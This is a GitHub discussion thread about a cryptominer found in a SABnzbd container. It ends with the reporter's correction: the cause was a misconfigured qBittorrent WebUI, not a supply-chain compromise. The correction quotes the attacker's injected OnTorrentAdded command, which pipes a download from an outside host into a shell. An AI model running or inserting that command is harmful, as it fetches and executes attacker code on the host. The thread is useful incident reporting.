Cryptominer found running inside SABnzbd container after manual in-app update — heads up #126
-
|
Flagging this in case others are affected. Setup: What happened:
Technical details:
What I checked:
The question: The in-app update pulls a new image and recreates the container. The miner's parent was s6-svscan, meaning it was spawned during container init — not by SABnzbd's application. This points to something in the image layer or the linuxserver.io update mechanism. Has anyone seen this? What exactly does the in-app update pull and from where? Mitigation I've applied:
Has anyone else seen |
Beta Was this translation helpful? Give feedback.
Replies: 2 comments 9 replies
-
|
Any chance you could join our discord please so we can chat about this? (Also quicker responses) - we can update this post with the outcome afterwards. https://discord.gg/YWrKVTn Just want to state there obviously should absolutely be no crypto miner bundled with this, when we've had reports of this happening in other containers, it's been due to unprotected exposed endpoints which has allowed an attacker to enter. |
Beta Was this translation helpful? Give feedback.
-
|
Just as an FYI, OP posted on Reddit as well: https://www.reddit.com/r/SABnzbd/s/6eZv953d7Q Waiting for a response either here or on Reddit. |
Beta Was this translation helpful? Give feedback.
Update + Apology — I was wrong
I want to correct my original post and apologize to the community, and specifically to the linuxserver.io team.
The root cause had nothing to do with SABnzbd, linuxserver.io, or the image update. Several of you pointed me toward the exposed-service hypothesis immediately. You were right, and I should have dug into that before posting a theory that implied a supply-chain compromise.
What actually happened: qBittorrent's WebUI had LocalHostAuth disabled and an overly broad subnet whitelist covering all private IP ranges. An attacker found the exposed API and injected an OnTorrentAdded script that ran: curl http://yify.foo | sh. The miner downloaded and execute…